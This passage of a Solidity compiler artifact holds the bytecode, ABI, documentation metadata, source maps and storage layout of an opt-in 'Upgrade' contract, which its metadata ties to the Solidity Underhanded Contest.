ffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103bb57600080fd5b6103c3610878565b610402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f990610c85565b60405180910390fd5b60006001600080549050038154811061041757fe5b9060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555050600080548061046357fe5b6001900381819060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550509055565b60008060008054905090506104c1610878565b156104ce57806001900390505b60005b818110156105ea57600081815481106104e657fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156105cf575060018081111561055957fe5b6000828154811061056657fe5b906000526020600020906003020160000160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660018111156105cd57fe5b145b156105df576001925050506105f1565b8060010190506104d1565b5060009150505b92915050565b6000818154811061060757600080fd5b90600052602060002090600302016000915090508060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b600080600080805490509050600081141561066d5760008092509250506107a0565b610675610878565b1561068d57600181101561068557fe5b806001900390505b60008114156106a35760008092509250506107a0565b60008190505b6000811115610796576001808111156106be57fe5b600060018303815481106106ce57fe5b906000526020600020906003020160000160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600181111561073557fe5b141561078a5760016000600183038154811061074d57fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350935050506107a0565b806001900390506106a9565b5060008092509250505b915091565b6107ad610878565b6107ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e390610c25565b60405180910390fd5b600080805490509050816000600183038154811061080657fe5b906000526020600020906003020160000160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083600181111561086f57fe5b02179055505050565b60008060008054905090506000811180156108b35750426000600183038154811061089f57fe5b906000526020600020906003020160010154115b91505090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000813590506108ec81610d7d565b92915050565b60008135905061090181610d94565b92915050565b60008135905061091681610dab565b92915050565b60008135905061092b81610dbb565b92915050565b60006020828403121561094357600080fd5b6000610951848285016108dd565b91505092915050565b6000806040838503121561096d57600080fd5b600061097b858286016108f2565b925050602061098c858286016108dd565b9150509250929050565b6000602082840312156109a857600080fd5b60006109b684828501610907565b91505092915050565b6000602082840312156109d157600080fd5b60006109df8482850161091c565b91505092915050565b600080604083850312156109fb57600080fd5b6000610a098582860161091c565b9250506020610a1a858286016108f2565b9150509250929050565b610a2d81610cff565b82525050565b610a3c81610d11565b82525050565b610a4b81610d59565b82525050565b6000610a5e601f83610cee565b91507f43616e6e6f74206f7074206e6f6e20706c616e6e656420757067726164652e006000830152602082019050919050565b6000610a9e601783610cee565b91507f43616e6e6f74207570677261646520746f20766f69642e0000000000000000006000830152602082019050919050565b6000610ade601b83610cee565b91507f43616e6e6f74207570677261646520696e2074686520706173742e00000000006000830152602082019050919050565b6000610b1e602283610cee565b91507f43616e6e6f742063616e63656c206e6f6e20706c616e6e65642075706772616460008301527f652e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610b84601883610cee565b91507f5570677261646520616c72656164792072756e6e696e672e00000000000000006000830152602082019050919050565b610bc081610d4f565b82525050565b6000602082019050610bdb6000830184610a24565b92915050565b6000602082019050610bf66000830184610a33565b92915050565b6000604082019050610c116000830185610a33565b610c1e6020830184610a42565b9392505050565b60006020820190508181036000830152610c3e81610a51565b9050919050565b60006020820190508181036000830152610c5e81610a91565b9050919050565b60006020820190508181036000830152610c7e81610ad1565b9050919050565b60006020820190508181036000830152610c9e81610b11565b9050919050565b60006020820190508181036000830152610cbe81610b77565b9050919050565b6000604082019050610cda6000830185610bb7565b610ce76020830184610a42565b9392505050565b600082825260208201905092915050565b6000610d0a82610d2f565b9050919050565b60008115159050919050565b6000610d2882610cff565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610d6482610d6b565b9050919050565b6000610d7682610d2f565b9050919050565b610d8681610cff565b8114610d9157600080fd5b50565b610d9d81610d1d565b8114610da857600080fd5b50565b60028110610db857600080fd5b50565b610dc481610d4f565b8114610dcf57600080fd5b5056fea26469706673582212209aa5cedce839347f464b6a28b916dda17dff57b26a51af307a7ddfe440e9563864736f6c63430007040033\",\"bin-runtime\":\"608060405234801561001057600080fd5b50600436106100885760003560e01c806390b60de91161005b57806390b60de914610114578063b1d6d39d14610145578063d2ac7a5f14610161578063f851a4401461017f57610088565b8063275571571461008d57806355f29166146100a95780635efd5384146100b35780637386bbc5146100e3575b600080fd5b6100a760048036038101906100a291906109e8565b61019d565b005b6100b1610363565b005b6100cd60048036038101906100c8919061095a565b6104ae565b6040516100da9190610be1565b60405180910390f35b6100fd60048036038101906100f891906109bf565b6105f7565b60405161010b929190610cc5565b60405180910390f35b61012e60048036038101906101299190610931565b61064b565b60405161013c929190610bfc565b60405180910390f35b61015f600480360381019061015a9190610996565b6107a5565b005b610169610878565b6040516101769190610be1565b60405180910390f35b6101876108b9565b6040516101949190610bc6565b60405180910390f35b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101f557600080fd5b6101fd610878565b1561023d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161023490610ca5565b60405180910390fd5b42821161027f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161027690610c65565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156102ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102e690610c45565b60405180910390fd5b6000806001816001815401808255809150500390600052602060002090600302019050828160010181905550818160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103bb57600080fd5b6103c3610878565b610402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f990610c85565b60405180910390fd5b60006001600080549050038154811061041757fe5b9060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555050600080548061046357fe5b6001900381819060005260206000209060030201600060018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550509055565b60008060008054905090506104c1610878565b156104ce57806001900390505b60005b818110156105ea57600081815481106104e657fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156105cf575060018081111561055957fe5b6000828154811061056657fe5b906000526020600020906003020160000160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660018111156105cd57fe5b145b156105df576001925050506105f1565b8060010190506104d1565b5060009150505b92915050565b6000818154811061060757600080fd5b90600052602060002090600302016000915090508060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b600080600080805490509050600081141561066d5760008092509250506107a0565b610675610878565b1561068d57600181101561068557fe5b806001900390505b60008114156106a35760008092509250506107a0565b60008190505b6000811115610796576001808111156106be57fe5b600060018303815481106106ce57fe5b906000526020600020906003020160000160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600181111561073557fe5b141561078a5760016000600183038154811061074d57fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350935050506107a0565b806001900390506106a9565b5060008092509250505b915091565b6107ad610878565b6107ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e390610c25565b60405180910390fd5b600080805490509050816000600183038154811061080657fe5b906000526020600020906003020160000160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083600181111561086f57fe5b02179055505050565b60008060008054905090506000811180156108b35750426000600183038154811061089f57fe5b906000526020600020906003020160010154115b91505090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000813590506108ec81610d7d565b92915050565b60008135905061090181610d94565b92915050565b60008135905061091681610dab565b92915050565b60008135905061092b81610dbb565b92915050565b60006020828403121561094357600080fd5b6000610951848285016108dd565b91505092915050565b6000806040838503121561096d57600080fd5b600061097b858286016108f2565b925050602061098c858286016108dd565b9150509250929050565b6000602082840312156109a857600080fd5b60006109b684828501610907565b91505092915050565b6000602082840312156109d157600080fd5b60006109df8482850161091c565b91505092915050565b600080604083850312156109fb57600080fd5b6000610a098582860161091c565b9250506020610a1a858286016108f2565b9150509250929050565b610a2d81610cff565b82525050565b610a3c81610d11565b82525050565b610a4b81610d59565b82525050565b6000610a5e601f83610cee565b91507f43616e6e6f74206f7074206e6f6e20706c616e6e656420757067726164652e006000830152602082019050919050565b6000610a9e601783610cee565b91507f43616e6e6f74207570677261646520746f20766f69642e0000000000000000006000830152602082019050919050565b6000610ade601b83610cee565b91507f43616e6e6f74207570677261646520696e2074686520706173742e00000000006000830152602082019050919050565b6000610b1e602283610cee565b91507f43616e6e6f742063616e63656c206e6f6e20706c616e6e65642075706772616460008301527f652e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610b84601883610cee565b91507f5570677261646520616c72656164792072756e6e696e672e00000000000000006000830152602082019050919050565b610bc081610d4f565b82525050565b6000602082019050610bdb6000830184610a24565b92915050565b6000602082019050610bf66000830184610a33565b92915050565b6000604082019050610c116000830185610a33565b610c1e6020830184610a42565b9392505050565b60006020820190508181036000830152610c3e81610a51565b9050919050565b60006020820190508181036000830152610c5e81610a91565b9050919050565b60006020820190508181036000830152610c7e81610ad1565b9050919050565b60006020820190508181036000830152610c9e81610b11565b9050919050565b60006020820190508181036000830152610cbe81610b77565b9050919050565b6000604082019050610cda6000830185610bb7565b610ce76020830184610a42565b9392505050565b600082825260208201905092915050565b6000610d0a82610d2f565b9050919050565b60008115159050919050565b6000610d2882610cff565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610d6482610d6b565b9050919050565b6000610d7682610d2f565b9050919050565b610d8681610cff565b8114610d9157600080fd5b50565b610d9d81610d1d565b8114610da857600080fd5b50565b60028110610db857600080fd5b50565b610dc481610d4f565b8114610dcf57600080fd5b5056fea26469706673582212209aa5cedce839347f464b6a28b916dda17dff57b26a51af307a7ddfe440e9563864736f6c63430007040033\",\"metadata\":\"{\\\"compiler\\\":{\\\"version\\\":\\\"0.7.4+commit.3f05b770\\\"},\\\"language\\\":\\\"Solidity\\\",\\\"output\\\":{\\\"abi\\\":[{\\\"inputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"constructor\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_user\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"activeUpgrade\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"},{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"admin\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"cancelUpgrade\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"_addr\\\",\\\"type\\\":\\\"address\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_user\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"isTrustedUpgrade\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"_when\\\",\\\"type\\\":\\\"uint256\\\"},{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"_to\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"newUpgrade\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"enum Upgrade.Opt\\\",\\\"name\\\":\\\"_opt\\\",\\\"type\\\":\\\"uint8\\\"}],\\\"name\\\":\\\"opt\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"upgradePlanned\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"upgrades\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"when\\\",\\\"type\\\":\\\"uint256\\\"},{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"to\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"}],\\\"devdoc\\\":{\\\"kind\\\":\\\"dev\\\",\\\"methods\\\":{\\\"activeUpgrade(address)\\\":{\\\"returns\\\":{\\\"_0\\\":\\\"(false, 0) if _user never opted-in, or opted-in but the planned upgrade then was cancelled.\\\",\\\"_1\\\":\\\"(true, <address_of_upgrade>) if user opted-in at least once, and that upgrade became active.\\\"}},\\\"constructor\\\":{\\\"details\\\":\\\"Sets the deployer as the upgrade admin.\\\"},\\\"isTrustedUpgrade(address,address)\\\":{\\\"returns\\\":{\\\"_0\\\":\\\"true if _addr is or was an active upgrade trusted by _user.\\\"}},\\\"upgradePlanned()\\\":{\\\"returns\\\":{\\\"_0\\\":\\\"true if there is a currently planned upgrade.\\\"}}},\\\"title\\\":\\\"This contract is the upgrade mechanism object of the Solidity Underhanded Contest.\\\",\\\"version\\\":1},\\\"userdoc\\\":{\\\"kind\\\":\\\"user\\\",\\\"methods\\\":{\\\"activeUpgrade(address)\\\":{\\\"notice\\\":\\\"Search backwards for the latest upgrade that _user opted-in. Does not consider the currently planned upgrade, if any.\\\"},\\\"admin()\\\":{\\\"notice\\\":\\\"Upgrade admin. Can only suggest new upgrades and cancel planned upgrades, but cannot change users options neither change the upgrades history.\\\"},\\\"cancelUpgrade()\\\":{\\\"notice\\\":\\\"Allows the upgrade manager to cancel a planned upgrade. No behavior changes, users still access their current preferred upgrade.\\\"},\\\"newUpgrade(uint256,address)\\\":{\\\"notice\\\":\\\"Allows the upgrade manager to suggest a new upgrade. Users must actively opt-in if they wish to use the newly suggested contract.\\\"},\\\"opt(uint8)\\\":{\\\"notice\\\":\\\"Allows a user to opt in or out the current planned upgrade.\\\"},\\\"upgrades(uint256)\\\":{\\\"notice\\\":\\\"History of upgrades performed by this engine, which remain alive since different users might opt-in different upgrades. - An upgrade is currently planned if there is an element in the array and its `when` is in the future. - There cannot be two planned upgrades at the same time. - A user can opt-in multiple upgrades throughout time. The latest upgrade a user opted-in is their active upgrade.\\\"}},\\\"notice\\\":\\\"It tracks the history of upgrades and opt outs and ins of users per upgrade.\\\",\\\"version\\\":1}},\\\"settings\\\":{\\\"compilationTarget\\\":{\\\"src/Upgrade.sol\\\":\\\"Upgrade\\\"},\\\"evmVersion\\\":\\\"istanbul\\\",\\\"libraries\\\":{},\\\"metadata\\\":{\\\"bytecodeHash\\\":\\\"ipfs\\\"},\\\"optimizer\\\":{\\\"enabled\\\":false,\\\"runs\\\":200},\\\"remappings\\\":[\\\":/=/\\\",\\\":ds-test/=lib/ds-test/src/\\\",\\\":ds-test=lib/ds-test/src/index.sol\\\"]},\\\"sources\\\":{\\\"src/IDNS.sol\\\":{\\\"keccak256\\\":\\\"0x9285f06c81c75d169c4fe7d0b24b2b50894f09d951c4e8f6134af923ed3e9c2f\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://38476e14838c65196ef345eade7ba706307b720c6ecd32ed8d42006023d4ef3e\\\",\\\"dweb:/ipfs/QmUxCKcvXtTMwVpJfu9QpPMpfMk88V2Uafmmg2bw3NRgrn\\\"]},\\\"src/Upgrade.sol\\\":{\\\"keccak256\\\":\\\"0xf1b948c97cba7390ad71d1b79badb2d500c55add416b4c63bdf33f3bd20495ea\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://1ac4a2d586937be95d2660afa026ec19cab71b0989be561b807b262be6e9d3ce\\\",\\\"dweb:/ipfs/QmfTjon8NyvCMKT4U2Z6nz44V6hnVaAHPrZ2uT1dwGK8bX\\\"]}},\\\"version\\\":1}\",\"srcmap\":\"300:3659:6:-:0;;;1467:40;;;;;;;;;;1493:10;1485:18;;;;;;;;;;;;300:3659;;;;;;;;;;;\",\"srcmap-runtime\":\"300:3659:6:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3093:336;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3579:173;;;:::i;:::-;;2640:297;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1067:31;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;2107:457;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;1583:174;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3814:143;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1268:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3093:336;1399:5;1385:19;;:10;:19;;;1377:28;;;;;;3167:16:::1;:14;:16::i;:::-;3166:17;3158:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;3232:15;3224:5;:23;3216:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;3315:1;3291:26;;3299:3;3291:26;;;;3283:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;3349:24;3376:8:::0;:15:::1;;;;;;;;;;;;;;;;;;;;;;;;3349:42;;3405:5;3395:2;:7;;:15;;;;3422:3;3414:2;:5;;;:11;;;;;;;;;;;;;;;;;;1409:1;3093:336:::0;;:::o;3579:173::-;1399:5;1385:19;;:10;:19;;;1377:28;;;;;;3635:16:::1;:14;:16::i;:::-;3627:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;3701:8;3728:1;3710:8;:15;;;;:19;3701:29;;;;;;;;;;;;;;;;;;;3694:36;;;;;;;;;;;;;;;;;;;;;;;3734:8;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3579:173::o:0;2640:297::-;2716:4;2726:11;2740:8;:15;;;;2726:29;;2763:16;:14;:16::i;:::-;2759:33;;;2784:8;;;;;;2759:33;2801:6;2796:121;2817:6;2813:1;:10;2796:121;;;2846:8;2855:1;2846:11;;;;;;;;;;;;;;;;;;:14;;;;;;;;;;;;2837:23;;:5;:23;;;:63;;;;;2894:6;2864:36;;;;;;;;:8;2873:1;2864:11;;;;;;;;;;;;;;;;;;:19;;:26;2884:5;2864:26;;;;;;;;;;;;;;;;;;;;;;;;;:36;;;;;;;;;2837:63;2833:84;;;2913:4;2906:11;;;;;;2833:84;2825:3;;;;;2796:121;;;;2928:5;2921:12;;;2640:297;;;;;:::o;1067:31::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2107:457::-;2168:4;2174;2184:6;2193:8;:15;;;;2184:24;;2245:1;2240;:6;2236:38;;;2259:5;2271:1;2251:23;;;;;;;2236:38;2283:16;:14;:16::i;:::-;2279:56;;;2320:1;2315;:6;;2308:14;;;;2327:3;;;;;;2279:56;2373:1;2368;:6;2364:38;;;2387:5;2399:1;2379:23;;;;;;;2364:38;2412:8;2423:1;2412:12;;2407:125;2432:1;2426:3;:7;2407:125;;;2485:6;2449:42;;;;;;;;:8;2464:1;2458:3;:7;2449:17;;;;;;;;;;;;;;;;;;:25;;:32;2475:5;2449:32;;;;;;;;;;;;;;;;;;;;;;;;;:42;;;;;;;;;2445:87;;;2505:4;2511:8;2526:1;2520:3;:7;2511:17;;;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;2497:35;;;;;;;;2445:87;2435:5;;;;;;2407:125;;;;2545:5;2557:1;2537:23;;;;;2107:457;;;;:::o;1583:174::-;1627:16;:14;:16::i;:::-;1619:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;1683:6;1692:8;:15;;;;1683:24;;1749:4;1711:8;1724:1;1720;:5;1711:15;;;;;;;;;;;;;;;;;;:23;;:35;1735:10;1711:35;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;;;;;;;1583:174;;:::o;3814:143::-;3861:4;3871:6;3880:8;:15;;;;3871:24;;3910:1;3906;:5;:47;;;;;3938:15;3915:8;3928:1;3924;:5;3915:15;;;;;;;;;;;;;;;;;;:20;;;:38;3906:47;3899:54;;;3814:143;:::o;1268:30::-;;;:::o;7:139:8:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:165::-;;249:6;236:20;227:29;;265:46;305:5;265:46;:::i;:::-;217:100;;;;:::o;323:155::-;;415:6;402:20;393:29;;431:41;466:5;431:41;:::i;:::-;383:95;;;;:::o;484:139::-;;568:6;555:20;546:29;;584:33;611:5;584:33;:::i;:::-;536:87;;;;:::o;629:260::-;;737:2;725:9;716:7;712:23;708:32;705:2;;;753:1;750;743:12;705:2;795:1;819:53;864:7;855:6;844:9;840:22;819:53;:::i;:::-;809:63;;767:115;695:194;;;;:::o;895:429::-;;;1033:2;1021:9;1012:7;1008:23;1004:32;1001:2;;;1049:1;1046;1039:12;1001:2;1091:1;1115:66;1173:7;1164:6;1153:9;1149:22;1115:66;:::i;:::-;1105:76;;1063:128;1229:2;1254:53;1299:7;1290:6;1279:9;1275:22;1254:53;:::i;:::-;1244:63;;1201:116;991:333;;;;;:::o;1330:276::-;;1446:2;1434:9;1425:7;1421:23;1417:32;1414:2;;;1462:1;1459;1452:12;1414:2;1504:1;1528:61;1581:7;1572:6;1561:9;1557:22;1528:61;:::i;:::-;1518:71;;1476:123;1404:202;;;;:::o;1612:260::-;;1720:2;1708:9;1699:7;1695:23;1691:32;1688:2;;;1736:1;1733;1726:12;1688:2;1778:1;1802:53;1847:7;1838:6;1827:9;1823:22;1802:53;:::i;:::-;1792:63;;1750:115;1678:194;;;;:::o;1878:429::-;;;2016:2;2004:9;1995:7;1991:23;1987:32;1984:2;;;2032:1;2029;2022:12;1984:2;2074:1;2098:53;2143:7;2134:6;2123:9;2119:22;2098:53;:::i;:::-;2088:63;;2046:115;2199:2;2224:66;2282:7;2273:6;2262:9;2258:22;2224:66;:::i;:::-;2214:76;;2171:129;1974:333;;;;;:::o;2313:118::-;2400:24;2418:5;2400:24;:::i;:::-;2395:3;2388:37;2378:53;;:::o;2437:109::-;2518:21;2533:5;2518:21;:::i;:::-;2513:3;2506:34;2496:50;;:::o;2552:157::-;2652:50;2696:5;2652:50;:::i;:::-;2647:3;2640:63;2630:79;;:::o;2715:329::-;;2878:67;2942:2;2937:3;2878:67;:::i;:::-;2871:74;;2975:33;2971:1;2966:3;2962:11;2955:54;3035:2;3030:3;3026:12;3019:19;;2861:183;;;:::o;3050:321::-;;3213:67;3277:2;3272:3;3213:67;:::i;:::-;3206:74;;3310:25;3306:1;3301:3;3297:11;3290:46;3362:2;3357:3;3353:12;3346:19;;3196:175;;;:::o;3377:325::-;;3540:67;3604:2;3599:3;3540:67;:::i;:::-;3533:74;;3637:29;3633:1;3628:3;3624:11;3617:50;3693:2;3688:3;3684:12;3677:19;;3523:179;;;:::o;3708:366::-;;3871:67;3935:2;3930:3;3871:67;:::i;:::-;3864:74;;3968:34;3964:1;3959:3;3955:11;3948:55;4034:4;4029:2;4024:3;4020:12;4013:26;4065:2;4060:3;4056:12;4049:19;;3854:220;;;:::o;4080:322::-;;4243:67;4307:2;4302:3;4243:67;:::i;:::-;4236:74;;4340:26;4336:1;4331:3;4327:11;4320:47;4393:2;4388:3;4384:12;4377:19;;4226:176;;;:::o;4408:118::-;4495:24;4513:5;4495:24;:::i;:::-;4490:3;4483:37;4473:53;;:::o;4532:222::-;;4663:2;4652:9;4648:18;4640:26;;4676:71;4744:1;4733:9;4729:17;4720:6;4676:71;:::i;:::-;4630:124;;;;:::o;4760:210::-;;4885:2;4874:9;4870:18;4862:26;;4898:65;4960:1;4949:9;4945:17;4936:6;4898:65;:::i;:::-;4852:118;;;;:::o;4976:346::-;;5142:2;5131:9;5127:18;5119:26;;5155:65;5217:1;5206:9;5202:17;5193:6;5155:65;:::i;:::-;5230:85;5311:2;5300:9;5296:18;5287:6;5230:85;:::i;:::-;5109:213;;;;;:::o;5328:419::-;;5532:2;5521:9;5517:18;5509:26;;5581:9;5575:4;5571:20;5567:1;5556:9;5552:17;5545:47;5609:131;5735:4;5609:131;:::i;:::-;5601:139;;5499:248;;;:::o;5753:419::-;;5957:2;5946:9;5942:18;5934:26;;6006:9;6000:4;5996:20;5992:1;5981:9;5977:17;5970:47;6034:131;6160:4;6034:131;:::i;:::-;6026:139;;5924:248;;;:::o;6178:419::-;;6382:2;6371:9;6367:18;6359:26;;6431:9;6425:4;6421:20;6417:1;6406:9;6402:17;6395:47;6459:131;6585:4;6459:131;:::i;:::-;6451:139;;6349:248;;;:::o;6603:419::-;;6807:2;6796:9;6792:18;6784:26;;6856:9;6850:4;6846:20;6842:1;6831:9;6827:17;6820:47;6884:131;7010:4;6884:131;:::i;:::-;6876:139;;6774:248;;;:::o;7028:419::-;;7232:2;7221:9;7217:18;7209:26;;7281:9;7275:4;7271:20;7267:1;7256:9;7252:17;7245:47;7309:131;7435:4;7309:131;:::i;:::-;7301:139;;7199:248;;;:::o;7453:358::-;;7625:2;7614:9;7610:18;7602:26;;7638:71;7706:1;7695:9;7691:17;7682:6;7638:71;:::i;:::-;7719:85;7800:2;7789:9;7785:18;7776:6;7719:85;:::i;:::-;7592:219;;;;;:::o;7817:169::-;;7935:6;7930:3;7923:19;7975:4;7970:3;7966:14;7951:29;;7913:73;;;;:::o;7992:96::-;;8058:24;8076:5;8058:24;:::i;:::-;8047:35;;8037:51;;;:::o;8094:90::-;;8171:5;8164:13;8157:21;8146:32;;8136:48;;;:::o;8190:109::-;;8269:24;8287:5;8269:24;:::i;:::-;8258:35;;8248:51;;;:::o;8305:126::-;;8382:42;8375:5;8371:54;8360:65;;8350:81;;;:::o;8437:77::-;;8503:5;8492:16;;8482:32;;;:::o;8520:152::-;;8616:50;8660:5;8616:50;:::i;:::-;8603:63;;8593:79;;;:::o;8678:126::-;;8774:24;8792:5;8774:24;:::i;:::-;8761:37;;8751:53;;;:::o;8810:122::-;8883:24;8901:5;8883:24;:::i;:::-;8876:5;8873:35;8863:2;;8922:1;8919;8912:12;8863:2;8853:79;:::o;8938:148::-;9024:37;9055:5;9024:37;:::i;:::-;9017:5;9014:48;9004:2;;9076:1;9073;9066:12;9004:2;8994:92;:::o;9092:107::-;9173:1;9166:5;9163:12;9153:2;;9189:1;9186;9179:12;9153:2;9143:56;:::o;9205:122::-;9278:24;9296:5;9278:24;:::i;:::-;9271:5;9268:35;9258:2;;9317:1;9314;9307:12;9258:2;9248:79;:::o\",\"storage-layout\":\"{\\\"storage\\\":[{\\\"astId\\\":1744,\\\"contract\\\":\\\"src/Upgrade.sol:Upgrade\\\",\\\"label\\\":\\\"upgrades\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"0\\\",\\\"type\\\":\\\"t_array(t_struct(UpgradeConfig)1740_storage)dyn_storage\\\"}],\\\"types\\\":{\\\"t_address\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"address\\\",\\\"numberOfBytes\\\":\\\"20\\\"},\\\"t_array(t_struct(UpgradeConfig)1740_storage)dyn_storage\\\":{\\\"base\\\":\\\"t_struct(UpgradeConfig)1740_storage\\\",\\\"encoding\\\":\\\"dynamic_array\\\",\\\"label\\\":\\\"struct 